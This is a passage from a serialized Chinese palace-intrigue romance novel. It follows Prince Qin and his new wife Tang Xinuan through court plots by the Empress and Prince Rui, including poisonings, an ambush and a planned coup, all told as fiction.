一言不合生气就算了，竟然还要跟他分手，让他去娶别人。 偏生跟她说不明白。 这个吻刚开始比较激烈，周川行感觉到小姑娘逐渐平静下来，吻也变得平缓绵长。 待他松开的时候，夫人已经平静了不少。 “暖暖，你听我解释，我真没有那个心思，只是不想你……” 眼见着小姑娘又要生气，也是他急中生智，忽然脱口而出，“是我战场受伤，太医说我这辈子都要不了孩子…… 暖暖，你不会嫌弃我吧？” 唐兮暖擦掉眼角的水珠子，不怎么相信的望着他，“真的？” 周川行点头：“我是担心你因此不喜欢我了，才不敢说出来……” 平时霸道威严惯的人，一旦扮起委屈，格外惹人怜悯。 唐兮暖就被他精湛的技术给骗了。 她特别心疼的抱住男人，“二郎，我才不会嫌弃你，其实小孩子很麻烦的，我又不懂怎么照顾，不要就不要了，以后就我们两个过。” “好，”周川行就知道他的小姑娘舍不得他，“就我们两个。” 端王不放心秦王，进宫见过皇上办差的路上拐来了秦王府。 他把伺候婚房的白芷叫过来问：“昨晚二哥圆房了吗？” 白芷身为女儿家，还有些不好意思，“圆了。” 端王好奇道：“我二哥手腕上戴着那个……” 他晃晃两手，“怎么圆的？” 白芷无语道：“三殿下，您这么好奇，不如亲自问问秦王。” 端王可不想讨骂。 “可能二哥天赋异禀，绑着铁链子也不妨碍。” 他还有事要和二哥说。 “我刚才进宫，听说皇后昨天去找皇兄阻止赐婚，被皇兄打发了。” 周川行刚成亲，正处于甜蜜的漩涡，外界的任何事情都不想理。 “由着她去吧。” 端王又道：“老四府里死了五六个人，听说二嫂是李策的义女，已经报到大理寺，逼着李策抓人呢。” 周川行：“李策肯定能处理好，无需担心。” 端王还想再劝劝二哥，可他看得出来，如今的二哥春风得意，满脸喜气，心思根本不在朝政上，多说无益。 “那你和二嫂好好享受新婚，我还有事先走了。” 昨天皇后阻拦赐婚失败，想到唐兮暖一个傻子，倒也掀不起什么大浪。 可今天睿王进宫告诉她，“我去看了太师的尸体，除了一剑封喉外，后心还中有一道致命的暗器。” 皇后大怒：“什么人？” 睿王：“根据伤口推断，像是唐兮暖腰上挂的那个暗器。” 皇后气得险些咬碎一口银牙，“她敢伤我父亲，我要她血债血偿。” 睿王又道：“我今天听说一个消息，唐兮暖根本不是傻子，她就是赢了彩月楼聪明人大赛第一名的寒兮。” 皇后犹如五雷轰顶，“这怎么可能？” 睿王比皇后还恨。 两个未出世的孩子再加五十万两银子，他和唐兮暖不共戴天。 “我也是刚得到的消息，难怪外界一直传二哥养男宠，什么男宠，一直都是唐兮暖那个贱人。” 皇后怒不可遏，身体不住的发抖，“来人，传本宫懿旨，命秦王妃立刻进宫。” 只要见到人，绝对不让她有逃出生天的机会。 睿王不赞同这么做：“二哥肯定不会让她出来。” 皇后完全没有办法，“先试试。” 不过她想起两个人来，一个是魏公公一个是张太医。 当初她就是听了张太医的暗示才认定秦王喜欢男人。 既然他喜欢的是唐兮暖，那喜欢楚三小姐只怕也是他故意误导大家的。 没想到周川行一个武夫，竟然有如此心思。 真让他当了皇上，哪还有自己活路。 “来人，传张太医，就说本宫心口疼。” 睿王和皇后想到一块去了，他今天还带进宫一个小孩。 是张太医七岁的小孙子。 周川行早派人把张太医的家人保护起来，可百密一疏，小孩子出门买糖葫芦，被睿王抓个正着。 大半个时辰后，张太医来到了凤藻宫。 亲眼看着孙子落在睿王手里，哪还有选择可言。 对方问什么，他说什么。 “为什么欺骗本宫周川行喜欢男人？” 张太医磕头如捣蒜，“是秦王要微臣这么说的。” 皇后：“他什么目的？” 张太医：“唐兮暖是楚世子的表妹，偷跑出来的，他念着楚家的救命之恩才编造了这个谎言。” 皇后怀疑他没有说实话，“还在欺骗本宫，不想要你孙子活了？” 张太医只能实话实说，“应该是想瞒着皇后您，她毕竟是罪臣之后。” 这个解释还能理解，皇后又问：“他们两个人还有什么秘密？” 张太医绞尽脑汁回忆还有什么事是能打动皇后的，“对了，唐兮暖和楚世子不清不楚早在一起了，唐兮暖因为喝了太多避子汤，身体亏欠得很严重，甚至……甚至无法成孕，可王爷不嫌弃，命下官瞒住这个消息，他说这辈子只娶唐兮暖一个，不在乎子嗣。 因此逼着端王早点成亲，为的就是让端王早点要个孩子。” 这个消息对皇后和睿王来说，代表着不同意义。 皇后不在乎唐兮暖能不能生，她只要唐兮暖死。 可睿王不这么想。 二哥一生一世一双人，二嫂不能生，想要王位传下去，只能从同宗过继。 可惜了他两个没出世的孩子。 不过他能生，现在回去造人也来得及。 退一万步讲，自己夺嫡失败，二哥做了皇上，这以后的大好江山不还是要给别人。 端王那个笨蛋可好对付多了。 皇后满心都是恨意，她给老嬷嬷示意，交给张太医一包鹤顶红。 “张太医，想要你孙子活命，这包药你应该知道怎么处理，我希望三天之内就能听到秦王和秦王妃双双殒命的消息。” “皇后娘娘……”张太医哪敢谋杀王爷，“这可是灭九族的大罪。” 皇后让他尽管去做，“有本宫在你怕什么，皇上身体不好，每天醒不了几个时辰，就算知道二爷被人害死，还不是要睿王去查证，到时候睿王随便找个替罪羊，和你有什么关系。” 张太医哆哆嗦嗦接过毒药，如此寒冷的冬日，浑身的衣服都被冷汗湿透。 不是孙子就是全族。 害死秦王，就算皇上不管，他手下四十万大军师吃素的吗！ “微臣，微臣知道怎么做了。” “慢着，”睿王忽然阻拦，“二哥都不要孩子了，毒死他干什么，他手下那些将士可不好糊弄，到时候我们全都活不成。” 皇后恨透了周川行杀害她父亲和两位兄长，毒死他都算便宜了，恨不得千刀万剐，食肉寝皮。 “到时候我们找个替罪羊，怎么一定能怀疑到我们身上。” 睿王说什么都不同意，“我说不行就不行，世上就没有不透风的墙，找了替罪羊他们就信吗？二哥被人害死，只会让他们同仇敌忾，到时候扶持老三，还有我们什么事！” 皇后和睿王意见不合，很快吵得不可开交。 皇后才不怕周川行的人扶持端王，反正端王已经向她投诚，端王上位，她一样屹立不倒。 可睿王和端王属于竞争关系，势同水火。 他绝对不允许秦王被人害死。 张太医还在现场，两人当着他的面吵起来，吓得张太医生怕听多了被两人杀人灭口。 “睿王，娘娘，要不从长计议t呢。” 还是睿王先熄的火，“皇嫂，是小弟冲动了，还请皇嫂见谅。” 皇后飞快的在心里计较着得失。 她已经和睿王发生关系，自然还是扶持他获益最多。 “好了，下不为例。” 睿王还有个更绝妙的计划，“皇嫂，二哥势大，咱们不能硬来，必须智取。” 皇后皱眉：“怎么智取？” 睿王：“先把兵权拿到手，只要他没了兵权就相当于没了爪牙的老虎，到时候还不得束手待毙。” 皇后吵累了：“行了，你去办吧。” 不过她也不会让唐兮暖好过就是了。 “来人，去看看秦王妃进宫了吗！” 不用办差的日子要多悠闲有多悠闲。 周川行今天什么都没做，就陪着新婚夫人赏赏梅，读读书，还听夫人给他讲了一会儿府里的账务。 靠窗的躺椅上铺着虎皮，又放了软垫，旁边还放着一盆炭火，触感舒适，温度适宜。 傍晚，周川行靠在躺椅里，悠闲自得盘着一串佛珠，时不时接受夫人一次精心投喂。 余光正好能瞥见天边的夕阳晚景。 别提多清闲自在了。 “王爷，宫里来人了，请王妃进宫一趟。” 魏公公带着皇后的心腹老嬷嬷过来通报。 周川行漫不经心瞥对方一眼，手里盘着佛珠，如沐春风般拖着长调问：“是皇上的命令还是皇后的命令？” 姜嬷嬷作威作福惯了，不过都是在宫里，见到周川行这个杀人不眨眼的大魔头还是得提着几分小心。 “是皇后担心秦王妃不懂规矩，特意命老奴过来请秦王妃进宫，皇后想嘱咐她几句。 这别的不要紧，开枝散叶是头一件要紧的事。” 唐兮暖坐在厚厚的地毯上，正在画周川行慵懒的坐姿。 看见姜嬷嬷眼生，没打算理她。 不过听她提到皇后，不由得摸向腰间的玲珑。 正不知道怎么报仇，可巧敌人就送上门了。 周川行注意到他家夫人眼里亮晶晶的，一看就是个不怕死的主。 伸手拦了一下夫人，浑然不怎么在意地回姜嬷嬷，“回去告诉你家主子，这份好意本王心领了，至于规矩，我这王府，王妃就是规矩，无需学习。” 第99章 像周川行这么嚣张、霸道,又不可一世，敢不把皇后放在眼里的，他是大周朝第一人。 姜嬷嬷心口堵着一口气,可她偏偏不敢撒出来。 “王爷，皇后的懿旨，您不好违抗吧。” 周川行张口接了夫人投喂过来的葡萄,“能请来皇上的圣旨再说这话，否则……” 他乌眉一立，眼里忽然涌上一抹杀意。 常年带兵打仗的人，嗜血成性，真动了杀心，普通人连看一眼就会觉得汗毛耸立。 姜嬷嬷也是这种心情。 她浑身紧绷，两腿发抖，生怕她的老命交代在秦王府。 周川行后半句话停顿片刻才继续，“否则教你们全部有来无回。” 姜嬷嬷吓得慌忙逃窜。 这秦王府她一息都不想多待。 “二郎，你为什么不让我去？” 唐兮暖如今还是罪臣之女,皇上下的圣旨都在借此侮辱周川行。 以为她不懂，如果不是看在二郎在乎他的份上,非想办法杀死他不可。 小姑娘从小养在侯府,没怎么接触过外边的世界，也没有人教过她是非对错。 年初才脱离侯府,快速融入这个社会的同时，她吸收了太多不确定的东西。 如今,她的三观和正常人越发大相径庭。 她的世界很简单，不站自己这边的人或事，杀死便可。 她没有什么同理心，也不会反思自己所行所为是否越界,更不会认为自己有错。 睿王虽然作恶多端，可他的家人罪不至死。 她带着大炮过去，说炸也就炸了。 至于会死多少人，她的意识里，根本不会考虑到。 如果不是皇宫守卫森严，她只怕连皇上都敢杀。 此刻见她还不死心，要进皇宫，担心她闯出什么祸事，把人拉进怀里一点一点的教。 “皇后固然可恶，可她是一国之母，不能轻易杀害。” 唐兮暖不赞同他的想法，“可她灭了刘承满门，她不该死？” 周川行：“那只是怀疑，谁也没拿到确凿的证据。 再者，她还是朝阳小公主的母亲，我就这一个侄女，如果害死她母亲，她长大肯定会找我们报仇。 所谓冤冤相报何时了。 就是这个意思。” 唐兮暖皱眉：“那我们就放过她？” 周川行：“拿到确凿证据，国法不容，谁也逃不出这个理字，公主也得讲道理。” 唐兮暖伏在他胸口，有一下没一下的捋着他的衣服上的纹路。 心里是不忿的。 周川行看得出来。 不过学习不是一朝一夕的事情，得慢慢来。 “暖暖，你告诉夫君，你还打了什么主意？” 唐兮暖说什么都不肯告诉他。 她打算弄点毒药，想办法混进大牢，将王太师一家全部毒死。 不能他们唐家被满门抄斩，王太师一家只死三个人。 这不公平。 周川行虽然看不出来小姑娘在想什么，也能从她的神情里推测出来，肯定没打什么好主意。 两人闲聊间，紫苏进屋汇报，“张太医的孙子被睿王绑走，皇后见了张太医。” 周川行示意魏魏公公靠过来，“吩咐下去，从现在开始府里所有吃食、药物都要检查三遍以上，尤其是王妃的吃食，至少三人同时在场，务必多检查几次。” “老奴知道了。”魏公公领命下去吩咐。 周川行又将陶罐叫进来，“去给我请位启蒙先生来，要人品好的。” 唐兮暖好奇道：“请先生做什么？你要读书？” 周川行点了点她鼻子，“给你请的。” 唐兮暖是算学天才，她才不要什么启蒙先生，“你瞧不起谁呢，论读书，我知道的比你多。” 周川行笑了：“你明白其中的意思吗？” 字面意思，唐兮暖当然是明白的。 可具体怎么做，她却是浑噩的。 周川行：“启蒙无非是识字、习礼、明义。 识字就不说了，你掌握的知识比我还多。 现在要学的是常识、历史、伦理纲常、言行举止、接人待物等等。 我们家姑娘这么聪明，只需要了解一些就可。” 唐兮暖听他说的还挺有趣，“那你怎么不亲自教我？” 周川行可不敢好为人师，“我怕影响夫妻感情。” 乍一听很新鲜，仔细琢磨就不对味了。 “周川行，你是不是嫌弃我？你老实说！” 唐兮暖气嘟嘟地掐腰，一双漂亮的眸子含着几分薄怒，周川行爱极了她这小模样。 “我怎么是嫌弃你，其实……是我自己想学。” 唐兮暖纳闷道：“你也想学？” 周川行：“我从十三岁上战场，错过了太多学习的机会，如今有时间，了解一下未尝不可。” 有二郎陪着，唐兮暖欣然接受，“那我们一起学习。” 周川行好奇她的算学成就，“对了，你懂算学是自己学的？” 唐兮暖摇头：“先生教的，从小到大，表哥只给我请过一个先生。” 周川行之前调查唐兮暖了解过一些，“是个什么样的人？” 唐兮暖一边回忆一边说：“是个脾气很大的老爷爷，不过对我和表妹很好，表哥赶了好几次，他都不肯走，对了，他好像和我祖父认识。” 周川行有一下没一下的抚摸着小姑娘的长发，小姑娘的头发柔顺得仿佛缎面一般，摸起来十分舒服。 “你想不想见他？如果想，我派人寻寻。” 唐兮暖摇了摇头：“他走那天说，他这辈子已经没有任何遗憾，不会再来见我们了，让我们好自为之。” 唐兮暖有算学天赋，能达到这个成就顺理成章。 可楚衍晴也就比普通人聪明些，却能胜任户部的工作，可见这位老先生非一般人才。 虽然唐兮暖拒绝寻找，他还是派了人秘密寻访。 周川行说给唐兮暖找先生，第二天便正式上任了。 担心她一个人学习无聊，周川行不光亲自陪同，还把紫苏等四个护卫以及小倩和府里其他想求上进的宫女、侍卫、太监全都叫上。 很快王府就发展成一个三四十人的大学堂。 光请一个先生不够，君子六艺，礼乐射御书数各科擅长的先生全都请了一位。 这个寒冷的冬日里，秦王府小课堂举办的如火如荼。 就连魏公公都被连翘和百合抓住跟他们一起听课。 魏公公连连叫苦，“老奴都这把年纪该告老还乡了，跟你们年轻人凑什么热闹。” 连翘笑道：“您什么都不懂，回t老家不得被人骗干净了，得学，得学。” 魏公公只能坐在众人后边，仿佛听天书一般。 周川行请的几个先生轮流讲课不算，最近但凡来王府拜访的，全都被他抓过来给大家讲自身所擅长的知识。 李策奉命来王府办差，被抓着讲了好几堂刑法。 案件发生后，怎么寻找线索，锁定嫌疑人，怎么缉拿归案，怎么审讯，如果自身遇到什么冤情怎么写诉状，怎么提告等等。 孙卿兆也被抓着讲了两次。 他讲的不是什么正规知识，都是些揣测人心的事情。 端王常来王府，他自然跑不了。 他不知道怎么讲课，不过他小时候经常逃命，经验之谈讲了不少。 就连宫里过来宣旨的太监都被唐兮暖抓住，讲了两个时辰，最后口干舌燥一个字都说不出来，逃也似的回皇宫复命去了。 …… 皇后命令姜嬷嬷去秦王府宣唐兮暖进宫，被拒后大怒。 一计不成又施一记。 她去找皇上命秦王和秦王妃进宫奉茶。 先皇和先皇后都不在了，皇上和皇后便如同他们的父母，新婚后敬茶合理合规合情。 被皇上拒绝了。 皇后越发生气。 趁着皇上心情好身体好时点上迷情香，两人温情小意，水到渠成发生关系。 “皇上，再有几天就新年了，臣妾想着新年那天在宫里举办一场年夜宴，把老二一家、老三一家、老四一家和公主一家都叫到宫里来，咱们好好热闹热闹。” 皇上对自己的身体状况十分清楚。 这个年，应该是他此生最后一个年了。 从二弟十三岁上阵杀敌，他们兄弟便再也没聚齐过。 最后一个新年当然要一起过。 “好，把所有三品以上的大臣也叫上，朕已经很久没见过他们了。” 皇后领命操持，暗中布置好毒药和杀手，非要唐兮暖有来无回。 腊月二十八这天，王府小课堂终于休息了。 唐兮暖和周川行一起指挥王府佣人贴窗花，挂灯笼，准备新年一应事务。 其实王府从刚进腊月就开始准备，唐兮暖加入的时候已经接近尾声。 腊月二十九这天，唐兮暖接到哥哥来信。 北域今年除了冷些，一切安好。 两门红衣大炮已经收到，实验过一次，效果远超想象。 信里他告诉唐兮暖，有这两门红衣大炮镇守，北域肯定犹如铁通一般安全。 唐兮暖把信拿给周川行看。 周川行十分欣慰。 第一年平安度过，那里的百姓就会适应这种太平日子。 三年后彻底和边境百信融为一体。 新年这天，周川行穿上他的红色朝服，唐兮暖朝服外边又裹了一层白狐皮大氅，两人坐上马车从王府出发。 很快进了皇宫。 周川行拉着唐兮暖不厌其烦的叮嘱：“不准单独去任何地方，也不要妄想杀谁，仇我会帮你报，今天是新年，咱们就好好过年。” 唐兮暖像个乖宝宝，冲他甜甜的笑：“知道了，知道了，你好啰嗦哦！” 周川行颇有些无奈地刮了刮她的鼻梁。 看出来唐兮暖阳奉阴违，只能命令紫苏几人。 “你们四个给我寸步不离地跟着王妃。” 皇后几次召小姑娘进宫都没成，今晚难得的机会，肯定会有所动作。 单纯防皇后容易，就怕小姑娘不听话，主动去找皇后报仇。 第100章 周川行没猜错,唐兮暖就是抱了杀死皇后的决心进宫的。 自从进宫，她便留意观察着，在哪里杀死皇后最方便。 两人进宫后,先到养心殿给皇上请安。 周川行跪下行大礼，唐兮暖生气皇上不给她一家平反，说什么都不肯跪。 皇上倒也大度,没追究这个新弟妹。 只是把火都发周川行身上，把人狠狠骂了一顿。 “听说你在王府开了书院？” 传旨太监回来跟他好一顿抱怨，王府从上到下全都开始读书了。 两人虽是亲兄弟，可十几年都没怎么见面，对彼此的了解全都来自于奏折。 周川行书写一般，文采一般，排兵布阵倒是很在行。 骁勇善战，勇猛无敌，十五岁开始领兵，从无败绩。 何其有幸,他是自己的亲兄弟。 外边都在传，他是秦王的靠山。 其实秦王才是大周朝的靠山王。 皇上盯着这个亲弟弟,尽管脸色不好,可心里是真心疼爱的。 如果周川行长在京城，以他的聪慧,才情造诣比那些两耳不闻窗外事一心苦读圣贤书的学子都要高出一大截。 毕竟十三岁以前，他各方年成绩在同龄人中都是佼佼者。 可惜,他生在皇室，从小背负着保卫江山的重任。 还以为他这个年纪，早在外边娶妻生子，就算不是正妻,妾室也该纳好几房了。 老大不小竟然还是个光棍，靠他这个卧病在床的病人赐婚。 可真出息！ 周川行坦言道：“臣弟无所事事，带领阖府读读圣贤书，也算弥补小时候的缺憾了。” 皇上冲他摆摆手，“靠过来。” 周川行拉着唐兮暖一起走近皇上一步远的地方停下。 皇上把两个人都打量一顿。 “怎么认识的？” 周川行如实回道：“小妹举办春日宴时，她跟楚三小姐进宫，无意中遇到的。” 唐兮暖跟周川行一起学习这些日子，进步神速。 如今做什么都大大方方的。 再加她人长得漂亮。 皇上打量完，着实欣慰。 “是个聪明的姑娘，配你绰绰有余了，早点要个孩子，父母在天有灵也好心安。” 周川行没打算要孩子，大过年的不想忤逆兄长。 应付道：“知道了，不过皇兄你该多敦促三弟才是。” 皇上凉凉瞥他一眼。 转而看向唐兮暖，面对如此温柔娴静漂亮的姑娘，声音不自觉变温柔。 “跟朕说说，你为什么不跪？” 唐兮暖不卑不亢，反问道：“你是昏君吗？” 顶撞皇上是重罪，周川行怎么也得做做样子，低声训斥道：“不许对皇兄无礼！” 唐兮暖只当没听见，目不转睛地盯着皇上。 皇上倒是宽容，大度一笑，“问你相公，朕是不是昏君？” 周川行真心敬仰皇兄，“皇兄仁厚、务实、勤政、爱民如子，自登基以来减免赋税、整顿吏治、重视民生与农业……在位十四年，政治清明，经济繁荣，边疆稳固，是少有的仁爱之君，暖暖休要胡说，惹皇兄不悦。” 周川行所言，大部分都是事实。 不过大周朝连年战乱，让这位天子对很多事情都无能为力。 尤其最近几年身体不好，朝政多有荒废，否则朝中也不会挤进那么多蛀虫。 他这身体是无能为力了。 只能寄希望于下一位君主。 唐兮暖才不信，“他既然是仁君，那为什么不为我家平反？” 此种大逆不道之言，皇上并没生气，“你胆子倒是大！” 唐兮暖不服气道：“胆子大有什么用，也不能为我爹娘平反。” 皇上好耐心地瞧着唐兮暖，“朕现在给你一个机会，除了为你家平反，你可以要求朕许你一件事，你最想做什么？” 唐兮暖没什么可考虑的，“当然是恢复我家二郎的差事。” 皇上笑了：“你倒是不傻，你家二郎恢复差事，第一件事就是为你唐家平反。” 唐兮暖想的倒不是这件事。 今年乡试选出那么多人才，如今被下狱的下狱，被停职的停职，那些都是她的学生呢。 她当然希望他们能有用武之地。 不过她没办法和皇上讲明白。 “二郎有本事，睿王就是个糊涂蛋，他连我都不如，被我骗了五十万两银子，到现在都不知道我是谁。 他要是能摄政，那我也能。” 如此聪慧又干净的小姑娘可不多见。 皇上只聊了几句就心生欢喜，“难怪二郎喜欢你，能娶到你是他的福气。” 唐兮暖毫不犹豫道：“二郎极好，能嫁给他，是我的福气。” 今天是除夕夜，皇上没有太多时间，及时终止和唐兮暖聊天。 握住周川行的手，有些伤感：“皇兄身体不好，撑不了多久了，有些事情，等皇兄百年之后再说吧，让皇兄享受几天安稳日子。” 周川行心中动容，跪到皇上面前忍不住落了泪。 “皇兄……” 杨太医断言皇上最多不过三五个月的寿命。 已经过去一个月。 用不了多久就要天人永隔，周川行这颗心口仿佛被人割开一般。 皇上拍拍他的肩膀，叹了口气，“不说了，今晚陪皇兄多喝点。” 酒宴即将开始，周川行t扶着皇上走到养心殿正堂。 文武百官以及众位王公大臣全部就位。 皇后身穿凤袍牵着小公主也到了。 周川行扶着皇上坐下，之后和唐兮暖坐在皇上下首位。 皇上和皇后先后落座。 众文武大臣向皇上皇后叩拜。 新年新气象，此刻养心殿一片热闹繁华的景象。 皇上放眼望去，文臣武将充盈足备，心中倍感欣慰。 朝阳小公主挨着皇上，她嘴巴甜，吉祥话一串一串的往外冒。 皇上心里喜欢，握着女儿的小手，指向唐兮暖，“朝阳啊，那是你二婶婶，你还没给你二婶请过安，以后多和你二婶婶亲近，去吧。” 朝阳答应的很痛快，蹦蹦跳跳地跑到唐兮暖身边。 “二婶婶，朝阳给您请安了。” 唐兮暖刚才一直盯着皇后，皇后也在盯着她。 两人眼里皆有杀意。 碍于周围人多，谁都没有动手。 不过都在寻找机会。 忽然跑过来一个可爱漂亮的小姑娘，唐兮暖收回杀气。 拉着小姑娘坐到自己身边。 “你叫朝阳，和朝栎公主是一个朝吗？” 朝阳清清脆脆地回她：“是啊，父皇说我像早晨的太阳，所以赐我封号朝阳。” 唐兮暖递给她一块点心。 朝阳一边吃一边问她，“二婶婶你叫什么名字？你为什么会嫁给我我二叔，我二叔看起来好凶，他会凶你吗？” 唐兮暖一个问题一个问题的回她，“……二婶婶喜欢你二叔叔呀，你二叔叔只对外人凶，对自己人很温柔的……” 两人第一次见面，有来有回聊得十分热闹。 周川行难免伤感。 如果他的小姑娘能孕，肯定是个好母亲。 这顿酒宴一直持续到后半夜，皇上实在熬不住才宣布散。 皇后想杀唐兮暖，可她一直没找到机会。 下毒，唐兮暖每道菜都有人负责检查。 伏击，唐兮暖和周川行形影不离，她根本下不了手。 没办法，只能在酒宴结束后，她命人埋伏在半路截杀。 周川行武功高强，唐兮暖又有玲珑，再加他们身边都是侍卫，皇后找的那些死侍连周川行和唐兮暖的身都没近就被清剿干净。 皇后不甘心，找睿王商量。 睿王已经想了很多办法请皇上收回兵权，可皇上一直不同意。 到现在为止，睿王还有什么不明白的，皇上还是打算把皇位传给周川行。 他不能坐以待毙，联合几位有兵权的武将，计划适时逼宫。 这其中就有魏敏昭。 他喜欢朝栎公主，可周川行竟然把她嫁给李征彦，他怎么可能甘心。 在朝栎出嫁前，他曾找过朝栎好几次，让她去找周川行改变主意。 可惜被朝栎拒绝了。 一来朝栎真心喜欢李征彦。 再者魏敏昭私心重，帮唐兮暖办学堂的时候，很多事情他都清楚，可他从不主动解决。 像那些学子住客栈不方便读书，请他说情留在学堂里继续学习，他毫不犹豫拒绝。 这样的事情堆积多了，朝栎自然对他失望。 魏敏昭眼睁睁看着朝栎嫁入李家，无边的恨意堆积在五脏六腑。 他原本假意投靠睿王，最后变成真的。 只待睿王登上皇位，赐死李家满门，到时朝栎公主只能是他的。 魏敏昭光自己投靠睿王不行，还拉上了魏国公。 魏国公本来和周川行不睦，考虑几天就同意了。 睿王又劝服魏敏昭联系楚衍诺。 楚家对周川行兄妹三人可有救命之恩，楚衍晴又是端王妃，有他的加入事半功倍。 魏敏昭心有犹豫，“自从我妹妹受伤后，他已心生归隐，只怕不会再出来谋事。” 睿王怎么可能相信，“唐姑娘如今封为秦王妃，我不信楚世子不想抢回去。” 魏敏昭心生不悦，“他抢回去，对我妹妹有什么好处。” 睿王拍着魏敏昭语重心长道：“一个傻子而已，你怕什么，成大事者不拘小节。” 魏敏昭被睿王说动，当夜就去侯府联系。 魏敏娴醒过来后，楚衍诺一直陪在身边，早晚伺候，比下人还用心。 虽然，他的行为有些麻木，有时候都不知道自己在做什么。 可表妹嫁人，他犹如行尸走肉，不照顾魏敏娴，实在不知道自己还能做什么。 他娶魏敏娴的初衷是想要个健康的孩子。 虽然表妹嫁人了，可如今他和魏敏娴都好好着，还是要把初衷进行下去。 至于表妹…… 寒夜里，他披着厚重的大氅，站在梅花树下，望着远处的星斗。 心里无波无澜，眼里无悲无喜。 明明当成心尖尖一样疼爱着，怎么就丢失了呢！ “五妹夫，我知道你还喜欢唐姑娘，如今帮助睿王，是你抢回她的唯一机会，千万不要错过才好。” 黑夜里，楚衍诺无比苍凉的声音缓缓响起。 “那你妹妹怎么办？” 魏敏昭攥紧拳头：“哪个男人不是三妻四妾的。” 第101章【VIP】 第101章 楚衍诺没答应魏敏昭,只说他会考虑。 魏敏昭走后不久，孙卿兆上门。 楚衍诺后来调查过，表妹离开不久就认识了这个男人,关系极好。 甚至孙卿兆入朝为官都是表妹推举的关系。 他对孙卿兆充满敌意的同时又充满好奇。 到底一个什么样的男人，能得到表妹的青睐。 表妹心智有问题啊，和对方又是怎么来往的？ 两人在客堂相见,楚衍诺连茶都没上，就坐在主位上，盯着孙卿兆。 从他一只脚迈进门口，到他行完礼坐下，全程没说一句话，也没有移开过视线。 人长得倒是有鼻子有眼，身材不胖不瘦，身高至少在男人平均线以上，才华嘛…… 应该也有几分。 皇上清醒后几乎把通过科举提拔上来的所有官员停职，唯独这个孙卿兆稳如泰山。 至少皇上是认可其才华的。 孙卿兆一举一动全被人盯着,没有半点不适。 他行完礼，坐到楚衍诺旁边的椅子上,注意到楚衍诺手里端着茶碗,自然随性地起身给自己倒上一杯，之后便慢条斯理的品着西湖龙井。 楚衍诺喝完一杯又倒一杯。 孙卿兆也不客气,茶水凉了自己续满。 从始至终谁都没说话，至少持续一炷香的时间。 还是楚衍诺嫌弃夜晚太凉,打算回房睡觉才颇有些无语地开口：“这么好的夜色，孙侍郎不留在家里陪妻儿，倒有闲情逸致来我这喝茶。” 孙侍郎感叹道：“孙某单身一个，没人可陪,不像楚世子娇妻美妾，后宅充盈。” 这话可触及到楚衍诺的逆鳞。 后宅美人再多，他最想要的也只有一个。 况且他除了妻子也没有其她女人。 “孙侍郎慎言，如果大半夜上门只是为了羡慕楚某，还请尽速离开。” 孙侍郎脸皮厚，被人训斥没有任何不适。 仍然慢慢悠悠的品着茶。 “孙某大胆，想请问楚世子，真心喜欢表姑娘吗？” 楚衍诺脸色大变，他握紧茶杯，忍着怒火道：“你放肆！” 孙卿兆就是来放肆的。 “孙某倒是觉得，楚世子一点都不爱表姑娘。” 这话可把楚衍诺气坏了，他从第一次见到表妹就确定，这辈子要给她最好的疼爱。 这么多年，他一直捧着护着宠着，连一句狠话都没说过。 如果这都不算爱的话，那什么算爱。 “你懂什么，你一个单身狗！” 孙卿兆可不怕人身攻击，他有自己的道理：“孙某认为，爱一个人，就要给她最好的，让她开心快乐，做一切她喜欢做的事，把世上最尊贵的东西全都捧到她面前，包括身份、地位、名誉。 请问楚世子，你做到了哪样？” 楚衍诺皱眉：“我什么没给她？我给她的还不够？” 孙卿兆不屑：“正妻之位你给了吗？唐家蒙冤十五载，你帮忙平反了吗？唐姑娘喜欢什么，真正想要的生活又是什么，你知道吗？ 你甚至连她有算学天赋都不知道。 今年一大半的学子都听她讲过算学。 科举算学试题是她出的。 事后又是她带人批阅的。 请问，楚世子，这样一个大才，从逃出侯府之后才展露头角，前十四年你在做什么？” 孙卿兆字字诛心，“你在嫌弃她傻，做不了正妻，管不了侯府那几本烂账，生不出健康的孩子，你把她关在侯府这一片小小的天地里，不许她接触外人，不教她怎么融入这个世界。 她不是傻，而是你想让她变成一个傻子，完全依附着你才能活。” 最后这句话醍醐灌顶。 仿佛一把利刃，劈开楚衍诺的脑袋，把他最龌龊的想法公之于众。 他一面嫌弃表妹不像正常人那般聪明。 一面又想把人困在自己身边。 最后，他彻底失去了表妹t。 楚衍诺使劲抹了把脸，眼角有泪水溢出。 孙卿兆还没说够：“反观秦王，他教唐姑娘为人处世，教她诗书礼乐，教她分辨善恶，发挥她的特长，让她只管去做自己喜欢的事。 最近王府改成书院，请了很多先生，从启蒙开始。 一点一点的把正确的东西灌输给她。 这才是爱一个的正常行为。 楚世子，请问你做到了哪条？” 楚衍诺但凡做到一条，都不至于失去表妹。 孙卿兆仿佛一斧子劈开他面前的迷雾，他特别迷茫的盯着孙卿兆，“那你说，我现在还能怎么办？我不甘心啊！” 孙卿兆今天上门可不是帮他追爱的。 “楚世子，事到如今，你还有什么不甘的。怎么你还想把人抓回来关进你小小的侯府！” 楚衍诺忽然清醒，“那你来干什么？” 孙卿兆：“如果我是你，我如此爱她，就让她做世上最尊贵的女人！” 楚衍诺一时没明白他的意思，口中呢喃，“世上最尊贵的女人？” 孙卿兆：“当然是皇后。” 楚衍诺下意识道：“你让我谋反？” 孙卿兆一副看傻子的神情。 楚衍诺还挺有道理，“我父亲是秦王、端王和朝栎公主的救命恩人，只要我不反，荣华富贵能保几世，你让我谋反，不是要我楚家九族。” 孙卿兆抿了口凉茶，“你有什么资格做皇上，当然是帮秦王上位。” 楚衍诺：“……所以你是来做说客的！” 孙卿兆：“难道你不想让她做皇后？这辈子，你都别想再和她有什么关系。可只要你帮了她，她肯定铭记于心。 到时，侯府再进一步也不是没可能。” 侯爵再上就是国公。 楚衍诺是个比任何人都清醒的人。 表妹对他彻底死心，有秦王在，他想抢也无能为力。 而且表妹见识过更广袤的天空后，也不会再屈居于他这片小小的侯府。 原本他娶魏敏娴是打算生下孩子，就把她扔到一旁，再也不会理她。 可她于自己有救命之恩。 就算他禽兽不如，也无法扔下她。 如果能推举表妹登上后位…… 也全了他这颗疼爱她的心。 “你想让我怎么做？” 孙卿兆只有四个字：“以身入局。” 年后，楚衍诺亲自去见了睿王，两人达成协议，一起把秦王拉下马。 他只有一个要求，就是事成之后把表妹交给他。 正月初三开始，秦王府小课堂又开始了。 天气寒冷，唐兮暖赖床说什么都不肯起。 “大坏蛋，谁家过年还要读书的。” 周川行命人给卧室多加了两盆炭火。 把屋里轰得暖呼呼的。 他拿过衣裙，亲自往小姑娘身上套，“好，那就不读，过了初五再说。” 